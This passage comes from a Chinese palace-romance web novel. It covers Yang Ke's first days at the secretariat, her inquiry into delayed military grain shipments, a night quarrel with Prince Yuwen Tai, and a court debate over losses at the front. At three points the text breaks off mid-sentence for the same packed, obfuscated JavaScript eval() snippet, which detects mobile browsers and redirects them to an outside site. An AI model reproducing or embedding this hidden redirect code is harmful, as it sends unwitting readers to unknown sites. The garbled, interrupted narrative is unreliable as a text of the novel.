“是呀,要说城里最热闹、最好玩的肯定是夜市。大街小巷到处都是人,吸一口气就闻见酒楼里的酒香,刚走几步就撞上个玩杂耍的。这热闹劲儿常常要到四更天才消停。大人在街上走,我们小孩儿就在人堆里乱窜。有一回我撞洒了人家手里的一串糖油果子。那卖糖油果子的大叔瞬间变了脸色,横眉竖眼地揪着我,嚷嚷着要我赔他一整筐的钱。我哪里有那么多钱?朝他又是堆笑脸又是起哭腔,他可油盐不进,当即就要伸手来抓我。” 伯喻接着问道:“后来呢?” “我当然是拔腿就跑呀,可我一个小孩压根儿跑不过他。不过幸好老天帮忙,让我逃了一劫。” 她见伯喻的脸上满是疑惑,于是笑嘻嘻道:“那会儿凑巧到了五更天,做早市的开张了,”她学着馄炖摊的老板扯着嗓子吆喝,“‘新出锅的馄饨嘞,鲜得嘞!’馄炖香从街头飘到巷尾,一闻便知是虾仁馅还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243945|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪肉馅。不光我鼻子尖,糖油大叔鼻子也尖,他一下便被香味勾了过去,一时愣了神。趁着这功夫,我就溜进人群里跑远了。” 想起那时的快乐,杨柯不禁摇头轻叹,“现下进了宫,也没机会再去了。”接着又声音一亮,指向墙壁上的画,“看看翠微殿的美景也足够!” 伯喻的思绪跟着她的话语起落,听言朗然大笑道:“望梅止渴有什么意思?阿柯若能回到江南,不妨捎我一程。” 杨柯接道:“那是自然!” 话音刚落,小福子踱步进来:“殿下,易大人派人传话来了,说有事要和您商讨。” 杨柯向伯喻望去,他神色中的畅然已经尽数消失,又成为了平日里端庄优雅的宣王殿下:“好,请易大人稍等片刻。” 小福子退下后,伯喻朝着杨柯感叹道:“我这人生活单调,从未去过江南,未曾见过‘春水碧于天’,听你说起这些见闻,实在羡慕。” 杨柯笑道:“殿下若想去,我定当奉陪。一路上吃喝用度,皆由我安排,定不让殿下被那些奸商诓了银子。” “有你这番话,我更要去了。” 杨柯见他脸上仍是微笑,但手指却一圈圈地绕着杯檐打转,想来他已经没有了闲谈的兴致,于是故作惊讶道,“哎呀,我这次来还未告知郡主,想必这会儿她要满宫城地找我了。” 伯喻的神色暗了一瞬,旋即笑着调侃道:“那我岂不是夺人所爱了?” 杨柯故意逗他道:“哪里是夺,分明是我自愿被拐来的。”二人一齐说笑着出了门来,仍在有一句没一句地聊着,这段不长的路,生生走了有半柱香的功夫。 终于到了殿门前,伯喻身上的松香淡淡,恰好填满此刻的沉默。 杨柯开口道:“殿下快回去吧。” 伯喻凝着她的脸,静了瞬,才道:“嗯,那我们明日再叙。” 她轻轻“嗯”了一声,福身作别。 杨柯慢慢挪过翠微殿前的道路,伯喻的目光仿若黏在了她身上,一刻也未曾移开。她亦是一步一回首,二人视线交缠,在夜色下结成了隐秘的情茧。 直至再也望不见身后伫立的白衣身影,她才无奈转身,步伐恢复如常。仰头望去,天色黑沉沉的,唯有月盘遥挂天边,清冷皎洁却遥不可及,让她想到了伯喻脸上的微笑。她这才意识到,正是因为这种能让人产生好感的印象,所以大家才总是看不见他脸上露出的淡淡忧伤。念及此,她的心也像是吻上了那月盘一般,只感到沁透地凉。她轻叹一声,如此心不在焉地走了许久才蓦然惊觉,自己已经回到了凌薇苑。 “姑娘!姑娘!方才尚书局的大人来了,你被选进了。”杨柯前脚刚迈进凌薇苑,后脚便瞧见青桃满面红光地扑上来。 杨柯愣在原地:“什么?公孙大人岂不是疯了?” 青桃更是摸不着头脑:“你在胡说什么呢?” “那日考核我故意说了些大逆不道之语,就是想让她们把我筛下去,怎么如今又要招我进去了?” “进了尚书局是好事啊,你现在的身份就不仅仅是伴读女使,还是宫里的女官了。我们见了你,都要尊称你为一声大人呢!” “什么大人小人的,我可不想被绑在宫里啊。” 16.尚书局 第二日,杨柯乖乖地站在垂花门前,仰头望着“尚书内局”四个鎏金篆字。檐角铜铃被东风吹出细碎清响,这声音同她第一次去私塾先生家里上课时一模一样。她下意识抚了抚簇新的霜青色宫装,感叹道:“还真是命运弄人,我最爱的青色,竟然是女官的宫装。”说着迈出沉重的脚步,挪了进去。 一进门,墨香混杂着硝皮气息扑面而来,眼前一排排的紫檀木案整齐规整,木案前的云鬓银簪星星点点,穿行其间的女官们广袖翩跹。除了研磨墨水与拆封火漆的脆响,竟无一人作声。杨柯的脚步也跟着放轻了许多,生怕惊起面前的‘鹤群’。她正左顾右盼着,忽见一女官从廊柱阴影里转出,怀中抱着的卷宗几乎淹没她半张脸,“你是新来的掌籍?” 杨柯吓了一跳,接着点头道:“是。” “卯时三刻要点卯,此刻已迟了半盏茶。”她话音未落,远处传来宫门落钥的闷响,惊得杨柯慌忙去摸袖中的任职诏书,却见女子突然展颜:“吓你的,今日大朝会,辰时才算正式当值。” 杨柯松了口气,忽听身后一道女声响起:“杨柯!”徐英正站在里间的门边,方正的下巴往里一扬,示意她跟着进去。 杨柯刚一抬脚,不小心跟门槛绊了一道,啪嗒一声惊起木案前的脑袋,她赶忙哈腰道歉:“对不住,对不住!”她本以为进了里间能正常行走了,没想到眼前的景象更叫她走不动道:一座三丈见方的青铜沙盘悬在横梁之下,数百枚银签标着各道州县名称,被纵横交错的红丝线织成密网。 “此处才是真正的机枢之地。今日带你前来见识一番,也好让你认识认识尚书局究竟是何模样。”徐英站在红网那端,千百道阴影在她身上纵横交错,仿佛将她层层裹缠,形如人茧。 不知为何,杨柯看得胸闷,仰头指着沙盘问道:“徐大人,这是做什么用的?” 徐英拔起一道银签,目光顺着错综复杂的红丝线游走,“每一枚银签,代表一道州县,其上记录着赋税、民生、军备等诸事详情。每逢有要事呈于陛下,尚书局便要依各地情形,反复推演权衡。” 这时,一阵穿堂风掠过杨柯的后颈,带着陈年墨锭的苦香与窗外将开未开的海棠气息,她恍惚意识到,这混杂的味道里,掺杂着权力最隐秘的形态。 “你刚进尚书局,推演沙盘尚且还用不着。”徐英这话恰似一盆冷水兜头浇下,瞬间将杨柯从游离思绪中拽回现实。不过她心中反倒悄然一松,倘若真要自己上手推演,不是她把红丝线搅成乱麻,就是红丝线把她裹成粽子。 跟着徐英出了门来,穿过一道月洞门,踏入一处偏厅,绕过一架青山绿水的屏风,最后来到一处桌前。 “朱缨,这是杨柯。”徐英朝着桌边的女子开口,那女子抬起头来,一张鹅蛋脸透着稚嫩,眼光在杨柯脸上游走了一瞬,随即又回到徐英那边。 “杨柯,以后你就跟着朱缨学习,你在尚书局的任务便由她来指派。” “是。”二人齐声应和。 徐英满意颔首,接着又问道:“昨日户部的折子放在哪儿了?” 朱缨回道:“放在漆柜里面了。”说完,徐英便移步去了窗边的柜子旁,搜起了折子。 杨柯目不转睛地打量着朱缨,只见她柳眉紧蹙,奋笔疾书。瞧这架势,杨柯不禁在心底暗暗感叹,有徐大人杵在跟前,此刻装也得装出个两耳不闻窗外事的样子来。就怕面前的书文堆得不够高,入不了大人的眼,被瞧出办事不勤快。若是皇上来了,问一声谁家的丫头办事这么麻利,进宫熬的这些苦日子也算有个交代,这辈子的功名也算有个着落了。 见徐大人转身进了屋内,朱缨仍在埋头苦写,杨柯以为她不知道跟前的动静,于是凑过去轻声提醒:“姐姐,徐大人已经走了。” 朱缨抬起头,莫名其妙地看了杨柯一眼,又继续俯首端详着手里的奏书。见她一脸聚精会神,倒不像是刻意做作,杨柯心里一奇,原来她并非如自己这般游手好闲之辈,若是读书时,也当是书院里那帮来得最早、走得最晚的好学生。 她踱步过去,坐到朱缨身边,饶有兴致地问道:“姐姐,你们每日要忙到几时?” 朱缨不理她,手上的狼毫只是顿了顿,又继续挥墨。 杨柯又问道:“姐姐,你如今入宫几年啦?”朱缨充耳不闻,把凑过来的杨柯权当做空气。 “看姐姐的面相也就十七八岁的样子,年纪轻轻做到御侍令,”朱缨以为杨柯接下来要奉承自己,终于理她一理,“不必恭维我,就算你恭维再多,我也不会给你少派些活。” 杨柯讪笑道:“哪里哪里,我话还没说完呢,姐姐年纪轻轻便身负重任,恐怕不是个好事。” 朱缨脸上一凝,手里的笔也停住了,侧首等着她继续说下去。 杨柯反倒打起了哈哈来:“姐姐头上的簪子可真好看,是六棱冰花纹吗?我只在画本子上见过这种式样。” 朱缨搁笔敛袖,正色道:“方才你说不是好事,你为何这么说?” 杨柯挠挠头:“我已经说完了。” 朱缨仍旧肃然道:“我问你为何这么说?” 杨柯笑嘻嘻道:“你问我我就要答?那方才我问你的时候,你怎么不答?” 朱缨脸色一黑,“好你个丫头!”说着便站起身来,扬起嗓子喊道:“徐大人,卑职有事禀报!” 杨柯吓得赶紧扯她袖子,“好姐姐,好姐姐,我不逗你了,你快小点儿声,快小点儿声。”她一边低声求饶,一边伸头去探徐英那处,幸好徐英人在里面,听不着外面的动静。 朱缨倒是闭上了嘴,抬手丢给杨柯一沓纸张,“喏,把这些整理了。” 杨柯顿时傻了眼,“这么多?” “嫌多?这只是我每日处理的十分之一。” 杨柯大惊道:“多少?” 她这一嗓子惊得附近女官齐齐望来,朱缨低声喝道:“你小点儿声。成日里大惊小怪的,以后怎么办事?” 杨柯用着气声道:“姐姐既然知道,便少给我点儿活,这样我闯祸的机会也能小点儿,对你对我都有好处。” 朱缨猛敲她额头:“想得倒美!既然徐大人将你派给我,我自然不能辜负她的好意。”说完,又扔了一沓纸张过来,“我想了想,方才那些还不够,你若要把军粮的运输弄个大概明白,得把这些一齐算上。” 杨柯摩挲着下巴,正色道:“这些恐怕还是不够。” 朱缨脸色一亮:“哦?” 杨柯继续道:“我倒是有个好主意。” “什么主意?” 杨柯朝她勾勾手指,朱缨也顺势凑了过来,只听杨柯低声道:“俗话说百闻不如一见,姐姐倒不如放我出宫,让我跟着军队运一趟军粮,我保准弄得清清楚楚,这样也省得姐姐劳心劳力教我了。” 朱缨听完脸色又是一黑:“你快消了偷懒的心吧。赶紧干活,把这些看完了再说!” 杨柯无奈摇头,只好翻看起奏疏来。还没看完一页,她又凑过去,对着朱缨道:“姐姐不想知道方才我那后半句要说什么吗?” 朱缨翘起了眉毛,犹豫了一瞬,还是妥协了:“你说。” 杨柯朝她嘿嘿一笑:“年纪轻轻便重任在肩,自然是任重而道远咯。人家忙活小半辈子,你要忙活好大半辈子,可不辛苦!” 朱缨朝她一笑:“你倒是为我着想,不过说这些好听话也没用,该干的还得干。” 杨柯耷拉下了肩,终于不再说话了,乖乖地看起了奏疏。 终于忙活完,日头也飞到西边去了。杨柯跟着大家一齐走了出来,怀里还抱着没看完的一小沓奏疏,她本想偷摸留到明日再看,结果朱缨眼尖,硬塞到她怀里,声称明日检查,她只好听话抱着回家。 正走着,奏疏下忽然飘出一张书页,杨柯蹲下身子拾起,打眼一看,是军粮运输的记录。 “九月十四,送至十万石,八月初一送出。”她草草看了一眼,摇头调侃,“怎么送军粮的比我还懒,从雍州到西北前线,走陆路的话,左不过七天半月的时间,这帮人竟磨蹭了一月还要多?”说完她才反应到不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255711|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又继续看下去,底下记录的原因也只是寥寥几笔:“八月二十至九月初五,天气异常”、“七月初五至八月十五,途中遇泥流堵塞”。 杨柯心里一咯噔,莫不是让自己撞上了什么惊天大案?正想着,一声稚嫩的童音从背后传来:“阿柯姐姐,多谢你照顾。” 她转过身去,原来是庆宁郡主。小郡主一身粉红长裙,一张圆圆的脸上泛着淡淡的桃红,活像新摘下来的嫩桃。 “郡主殿下,为何要向我道谢呀?” “上回范夫子的课上,多亏了阿柯姐姐赠予庆宁墨汁。”庆宁性格羞涩,许是又提起自己在课上狼狈的样子,更加不好意思了,扭动着小身子,俩手拱成小拳头,嗫嗫嚅嚅地说道:“庆宁和哥哥姐姐们相比起来年纪小,范夫子说的文章庆宁并不很快听懂,从前上课时范夫子便常教导庆宁多认真,记下夫子所说,那日我殿里的丫头偷懒,墨水竟准备了昨日的,多亏了阿柯姐姐帮忙,不然庆宁又得挨骂了。” “不打紧,小郡主以后有什么不懂的,尽管来问我便是。”杨柯冲她温柔一笑,忍不住俯下身摸了摸她的头。 “她什么都不懂,你若要教,一定累死。”宇文潇穿着一身玄金晃了过来,身板语气活像个小宇文泰。 庆宁微微蹙眉,娇声嫩气地反驳道:“你才不懂。” 宇文潇扬起下巴:“我比你懂。” “夫子上课的时候你都在屋子外面呢,怎么会比我懂?” “我自学成才,不需要夫子来教。” 杨柯见他二人有来有回,互不相让,于是赶紧截道:“好啦好啦,你们两个都懂。” 宇文潇不依不饶:“按照辈份,你得叫我舅舅。哪里有外甥女顶撞舅舅的?” 庆宁大声道:“我才不要叫你舅舅!” 杨柯看着面前的两个小活菩萨,只觉头更大了。 “庆宁。”孔阳公主徐徐走了过来。 “参见公主殿下。” “额娘!”庆宁挥着短腿,小跑到母亲腿边。 孔阳对着杨柯微笑道:“杨大人。” 杨柯头一回被人这么称呼,况且对方还是个公主,冷不丁地不好意思起来:“殿下客气了。我才头一天进尚书局,当不起大人的称呼。” 孔阳嘴角笑意更深:“新官上任三把火。杨大人才思敏捷,平步青云是迟早的事情。” 杨柯打哈哈道:“平步青云我可不敢想,能顺顺当当多走几步路,就已经心满意足咯。” 孔阳眸光一转,瞥见杨柯怀里揣着的奏疏,不禁打趣道:“大人可太谦虚了。值班时辰早过了,还把书文带在身边,这般勤勉,可不是一般人能做到的。不过呀,你可千万别学公孙,跟着伯喻干了几年,连终身大事都不要了。” 听她提起伯喻,杨柯立即追问道:“殿下何出此言?” “这伯喻啊,自己忙得脚不沾地也就罢了,还带着手下人一道拼命,好似世间万物都入不了他的眼,只一心扑在朝政上。我也是听长明说起,今晨朝堂之上,父皇话里话外隐隐透露出赐婚的意思,伯喻倒好,当即便回‘烽烟未尽安言室’。” 孔阳说着轻轻摇了摇头,啧嘴感叹,“他都二十了,还未成家,这般耽搁下去,可如何是好啊。” “七哥没遇上喜欢的人,你们干嘛非得逼他娶亲呀?”宇文潇在一旁憋不住了,皱着眉头,一脸不赞同地反驳。 杨柯脸上微微一黯,却听孔阳和声细气地哄他:“潇儿,娶亲之事和喜欢可大不一样。” 庆宁也眨巴着眼睛,满脸疑惑:“都不喜欢人家,为何还要娶呀?” 孔阳对他们笑了笑:“这里头的门道,等你们长大了自然就懂了。” 闲聊几句后,杨柯与她们行礼作别。回到凌薇苑,想起方才孔阳和老十的对话,她的心头不免更加怅惘起来。但又转念一想,人家自始至终都未曾有过特别之举,倒是自己平白生出许多无端的遐想,实在是自作多情。可是,这种事一旦起了头,便越想越深,越想越绕,她躺在榻上,翻来覆去睡不着了。 17.算账 乐白和云昌吉跑出去后,杨柯回到屋里,这事办完了,但还有一事令她挂心。等到了天黑,她换上遁光衣,往宫外的逍遥居飞去。 落至城隍庙附近,她隐隐感到有人尾随,于是故意绕进一处巷子里,躲在暗处。 过了半柱香的功夫,没见着什么人影,杨柯才走出巷子口。刚踏出一步,突然肩上被人一拍,她下意识地擒住对方的手,只听身后唉哟一声大叫,转头一看,是林骞。 “林公子!抱歉!” “女侠饶命,别忙着吃惊了,先松松手吧!”林骞的手腕被她扭到身后,只能苦着脸回头求饶。 杨柯连忙放开他,“咱们还真是有缘,我本要去逍遥居寻你,结果在此便相遇了。” 林骞一边揉着手腕,一边无奈道:“小柯,你以为是有缘,实际上我早就想去找你了。” 她惊讶道:“为何?” 林骞挑眉:“思念一个人难道需要借口?” 杨柯冷不丁被呛住,林骞何时变得这般油腔滑调,于是汗颜道:“林公子说话还挺直接。” 林骞朝她不怀好意地笑:“是啊,既然你已收到了遁光衣,现在可以如实告诉我它的用途了吧?” 杨柯一愣,讪讪开口:“上回我不是已经说了?” 林骞扶着下巴缓缓道:“据在下听闻,小柯似乎已经不在家中居住了。” 杨柯无奈承认:“是我骗了你。借走遁光衣,并非因为逃家,而是为了给出宫做准备。” 林骞瞪大了眼睛:“你进了宫?” 杨柯深叹一口气:“实属无奈之举。” 林骞反倒笑了出来:“家父和朝廷也有些渊源,这回帮你岂不是亲上加亲?” 杨柯呆道:“哪门子的亲上加亲?我可不算皇亲国戚。” 林骞撇了撇嘴:“好嘛,是我自作多情了。”说完,收起脸上的吊儿郎当,正经起来,“拜托你帮忙的事,已经有回信了。” 红娘办事果然利索!杨柯期待地问道:“具体如何?可是好消息?” 林骞抬手抚了抚下颚,凝神皱眉,“过这么久才拿到结果,”看来好像并不乐观,她心里不禁忐忑起来,“自然是大有收获了。” 她旋即松了一口气,又气他捉弄自己,忍不住往他身上拍去:“好你个林骞!” 林骞瞬间反应,侧身一躲,无奈摇头道:“过了这么久,你还是一样野蛮。” 见他避开,杨柯也跟了上去。两人你追我赶,不知不觉便到了逍遥居。 刚一进门,林骞朝杨柯轻挑下眉,她刚反应过来,正要拦住他,他倒先悠哉悠哉地开口:“小柯,你也真是的,要来逍遥居大大方方地来便是了,还专门从外面跑来追我。”林骞的声音洪亮,整个屋子都是他的回声,更糟糕的是,进了大门,石介等人俱在,听了林骞的话,众人的脸上都写满了八卦二字。 杨柯尴尬得不敢看他们,心里气不打一出来,怎么长着这张脸的男人都这么惹人烦? 被瞧得实在难受,杨柯忍不住解释:“哪里是我追你了,明明是你先碰到我的。”但这好像并没有什么用,他们眼中的八卦依旧不减。 林骞脸上的笑意更深了,懒懒开口道:“好了,不逗你了。随我过来吧。” 杨柯跟着他走进了屋子,视野所见与上次来时一般无二。 林骞收起了方才的玩笑,正色道:“多亏了红娘的帮忙,我们拿到了最新的情报:影刃阁计划抓捕即将前往京城的柔然大臣赛比海,他是影刃阁阁主阿揽延的死对头——赛罕的心腹。” “赛比海为何要来大夏,而且还是天子脚下?” “柔然派来了和谈的队伍,赛比海也在其中,不过为了掩人耳目,他将身份隐藏了起来,只是作为随行的小官出行。据我对柔然的了解,他若来了大夏,不光是对影刃阁,对我们来说,都是一个好机会。若是抓到了此人,那么柔然的机密也能获取不少。”他脸上得意,又似乎想到了什么,继续问道:“诶,小柯,你不是说有事要找我?看我这人,只顾着跟你打闹,竟忘了正事。” 杨柯揶揄道:“您贵人多忘事,所幸到现在还记得我这茬子事儿。” 林骞朝她眨眼:“许久没见你,反正也不急,同你玩一会儿,倒也不耽误事。” 杨柯并不理他,正色道:“这次来是想请你再帮我一个忙。” 林骞翘起眉尾:“什么事?” “林兄可否了解前线军粮运输? 他的眼角跳了一跳:“嗯,有所耳闻。” 杨柯心里一喜,继续道:“近日我在宫中处理文书时,察觉军粮拖延一事存有诸多蹊跷。依常理推算,按以往的运输路线和所需时日,军粮理应如期运抵前线。然而,近几次军粮运输皆出现严重延误。尤为怪异的是,延误缘由仅以 ‘道路受阻’、‘天气原因’ 等笼统之词标注,并无更多解释。此事关乎前线战事,兹事体大,我实在放心不下。向来听闻逍遥居神通广大,还望林兄能施以援手,帮忙调查一番。” “这些军粮可否漏运、少运?” 杨柯答道:“暂无。” “若无缺失,大抵是路途上的官员出了问题。”林骞一向随性,这次竟深挖起来,“诶,你一个女子入宫,怎会知道军粮的事情?” 杨柯愣了愣,扯了个幌子道:“我有个朋友,他家中便是负责运输军粮,前几日向我大吐苦水,我想着既然逍遥居神通广大,自然能帮我们这个小忙。” 林骞对她的恭维倒是很受用,只见他嘴角微翘,嗓音低沉,拖着长长的腔调:“如果我答应帮你,那你这回要怎么报答我呢?” 杨柯略一思索道:“既然是我有事相求,当然任由林兄提条件了。” “条件嘛,以后倒是好说。只不过……”林骞靠回椅子上,流畅的下巴微扬,手指随意地敲击着桌面,杨柯立于一旁静静等待,看他的目光飘忽不定,心里也悬了起来。 他沉默了许久后,终于才道:“我答应你。” 杨柯心中的石头终于放下,也微笑拱手:“多谢林兄。” 林骞昂首大笑:“没想到皇宫竟让你这野丫头也变得有节有礼。” 不知他是在嘲讽还是夸奖,杨柯茫然回笑:“林兄这话怎么听起来有些熟悉。”难道长相相似之人,心中所想也是一样? “还有谁说过么?”林骞坐起身,一手撑着头,嘴角含笑,“总之,每次求我帮忙时都是你最会做人的时候。” 话音刚落,芳芷在门口轻声道:“老大,有新动向。” 屋里的气氛瞬间紧绷了起来,杨柯转头看向林骞,他早已从椅子上站身。刚一出门,石介便走了过来,凑到林骞耳边低声说了点什么。 见他们神色严肃,杨柯也不便再多打扰,道谢告别后便启步离去。 离开逍遥居,杨柯又披上遁光衣,双脚一蹬,往皇宫的方向跑去。 披着月色回到宫中,繁星点点,清风拂面。杨柯走在宫道上,方才林骞的神情又浮现眼帘,看他的样子,仿佛对皇宫有所了解。正想着,忽望见咸毓宫的大门前远远立着一人,那宫灯下的长影,恍惚间又让她想起与林骞交手的那夜。 她甩头将脑中的回忆抛掉,凝神瞧着那人,果然是宇文泰。见他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272130|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色阴沉,杨柯心里一阵发毛:这霸王定是来报复自己的! 杨柯默默转身,准备溜之大吉。 “杨姑娘。”背后男声还是顽固地响起。 她轻叹了口气,僵硬地回头,宇文泰已走至跟前,杨柯朝他恭敬福身:“羲王殿下,真巧啊,怎么在这碰到了?天色也不早了,殿下不回宫歇息,是在等人吗?” 宇文泰的语气听不出什么情绪:“说得没错,我在等你。”月光照在他的肩上,一股龙涎香幽幽传来。闻着他身上的香气,巷道里的画面登时冲进了杨柯的脑海,她话锋一转:“殿下,我们是不是在哪见过?” 宇文泰陡然被她问住,不过随即便反应过来:“你少岔开话题。” 见他并不搭茬,杨柯又摆上一幅笑脸,拱手道:“既然您已经见到我了,那我就先告辞了。”正准备往回迈,却被宇文泰一把擒住。 他的眸子格外幽暗,声音却平静如水:“本王等了一柱香的时间,可不仅仅是为了见你一面。” “殿下还想跟我进去坐坐,再喝喝茶?”杨柯朝他干笑,“不过我那儿只有过夜的茶水。” 宇文泰安静了瞬,垂眸凝着她:“早上是你干的好事吧?” 杨柯眨巴着大眼睛,装作无辜:“不知殿下说的是哪件事?” “哦?是我弄错了?” 说着放开了她的手,遗憾道:“原来那地上的月牙玉环并非是你的。” 杨柯这才想起,手腕上剩下的半副月牙玉环,自从前几日去了尚书局回来便消失不见,翻遍了屋子都没找到,只有可能是处理蚕沙时不小心掉落进去的。 她急得脱口而出:“月牙玉环?在哪儿找到的,蚕沙里吗?”说完便意识到自己中了奸计,脸上的惧色冒了出来。 宇文泰的黑眸深了一层:“杨姑娘,你终于招了。” 俗话说虱多不痒、债多不愁,害怕到极点也没什么好惧的了,此时杨柯的脸上反而露出了得意的笑容,“是我做的又如何?”也学着他说话的语气,慢悠悠道:“给殿下换个香薰,殿下可还满意?” 他略一扬眉,隐约一笑:“杨姑娘绞尽脑汁、连夜布置,我自然满意。”一面说着,掌心反而使上了力气。 杨柯被他捏得浑身酥麻,两腿如柳枝乱颤:“既然满意……还掐我做甚?” 宇文泰垂睫欣赏着她的困窘,轻描淡写道:“有句话叫礼尚往来。” 杨柯虽已腿脚发软,但她并非白白受欺之辈,扯起嗓子就要大喊:“要不是你故意针对我,害我颜面扫地,我捉弄你一下怎么了?狗急了还能跳墙呢!” 宇文泰脸色一变,立刻捂住她的嘴:“你要让整个宫城的人都听见吗?” 她恨声道:“让他们听见又如何?光脚的不怕穿鞋的!宇文泰,今晚我们就来好好算算这笔账!” 宇文泰的眼眸闪过一道精光,邪笑道:“好啊,你夜半约我出来,到底是谁不安好心?” 杨柯气得咬牙跺脚:“你!你同章可馨果真是一族血脉,一样歹毒可恶!” 他的神色僵了一瞬:“可恶不可恶不知道,我只知道你也不是什么省油的灯。”接着脸上露出冷笑,“杨柯,你有什么花招尽管使出来,看看咱们谁能斗得过谁。” 杨柯双目圆瞪:“哼,你以为我会怕?宇文泰,你且等着,我要是向你屈服,我就自废武功!” 他嘴角笑意更深:“好个豪言壮语。不过,话可不能说太满。” 杨柯看着他眸中冷光,心尖微微一颤,只听他悠悠开口道:“我且备好上等金创药,等你亲手为我挑断手筋脚筋。杨姑娘,莫要食言呐。” 18.朝堂 回到凌薇苑,杨柯气鼓鼓地躺在榻上,盘算着以后如何该对付宇文泰。盘算来盘算去,只得出一个结论:每次碰见这人,准没好事。于是低声咒骂起宇文泰的祖宗十八代来,可还没骂到一半,便迷迷糊糊地睡去。 这一日,又要去尚书局执勤,杨柯才在凳子上坐下没多久,便被朱缨指派了个差事——运送文书,而目的地则是勤政殿——皇帝平日处理政务和会见官员的地方。 杨柯跟着公公的指引来到主殿,“陛下正在书房里同各位爷商讨政务呢,大人且稍后片刻。” “没事,我在这等着便是。”公公点头弓腰往后退了一截,也跟着她静静候着。 忽然肩上被人一拍,杨柯回头一看,“公孙大人!” “嘘!”公孙瑶将手指放在嘴边,又轻挥手指示意跟她进去。 “你来送什么?”公孙用极低的声音问道。 杨柯将手里的文书递给公孙,耳朵却捕捉到不远处的书房内漏出些许说话的声响。 见杨柯的视线被那边吸引,公孙解释道:“这几日前线战事坏消息不断,陛下此刻着急得很。” 杨柯想到自己在奏疏上的所见,“是因为军粮么?” “原来你知道。”公孙露出惊讶,下巴往书房的方向指了指,“要去听听吗?” 杨柯心里一喜,呆在此处不仅能暂时逃过尚书局的管辖,还能见到伯喻,自然冲着公孙忙不迭地点头。 公孙引她至毛毡旁,杨柯透过缝隙望去,皇帝正在御案前来回踱步,面前站着乌泱泱一排人,为首的便是宇文泰、宇文伯喻两位皇子,他们身旁立着的想来应是六部大臣了。 殿内烛火摇曳,映照得众人脸上越发阴晴不定。皇帝沉重的脚步一下一下地踏在琉璃瓦嵌花砖上,踩得人心底发慌。 “泰儿,前线屡屡失利,你怎么看?”话音落下,殿内益发敛息,宇文泰乃镇国将军章满之侄,不知母系势力落难,皇帝迁怒,他会如何应对。杨柯心里正好奇着,却见宇文泰拱手道:“父皇,前线战事失利,儿臣痛心自责。身为宇文氏和章氏血脉,未能为国解难,深感愧疚。” 杨柯低声嘀咕道:“哼,倒挺会说场面话。” 这时吏部站出一人道:“陛下,前线战事连连失利,臣深思熟虑后,认为其根源或许并非在于军粮短缺,而在于人选之失。” 皇帝听了他的话挑了挑眉:“人选之失?” 田咏的目光探了探宇文泰,“正是。章老将军让章擎执掌将印,此举恐怕不妥。虽说虎父无犬子,但章擎年轻气盛,缺乏经验,战略失误在所难免。” 皇帝面不改色:“你也知道将领对战局的重要,那我问你,你吏部的责任是什么?” 杨柯看这人长了一双大圆眼,顶上却是个八字眉,平白多了些奸滑之相,正为其惋惜着,却听公孙在一旁道:“这是吏部左侍郎田咏,他跟着宫询讨得了不少好处,两年连升三品,不知道的还以为他是宫家的私生子。” 杨柯听了不免发笑,又问道:“宫询是谁?” “吏部尚书,就是他了。” 公孙话音刚落,一个紫衣老头开口道:“吏部选贤举能,同意章擎的任用我们也有罪责。但是‘天高皇帝远’,要论西北的战况与军中将领的实力,难道身在京城的吏部比章满更了解?章满身为大将军,本应亲自督战,却将如此重任交给一个乳臭未干的小子,实乃失职之举。若不严惩,何以正军法,何以振军心?” 公孙又低声解释道:“宫询意在将责任完全推给章满和章擎,借此打压章家势力。” 宇文泰忽然插言:“父皇明鉴,儿臣有话不得不说。章将军戍守西北边疆,劳苦功高,屡立战功。再者,胜败乃兵家常事,仅因一场败仗就严惩,实在不妥。况且舅父和表哥在军中威望甚高,此时责罚,恐怕动摇军心,还望父皇三思。” 皇帝沉吟片刻,目光扫过众臣,“章满有功,朕是知晓的。但前线失利,军法难容。念及旧功,朕会从轻发落,妥善处理。” 田咏又道:“陛下圣明!但章将军责任重大,用人失当致前线大败,影响恶劣,不严惩难以服众、整肃军纪。还望陛下莫念私情旧功,务必严惩!” “田爱卿真是考虑周全。不过按照爱卿的道理,用人不当,责任重大,”皇帝凌厉目光直射向他,“那朕当初派遣章家父子驻守西北,是不是也算用人不当?” 田咏闻言,心中陡然一紧,大声哀求道:“臣不敢!” 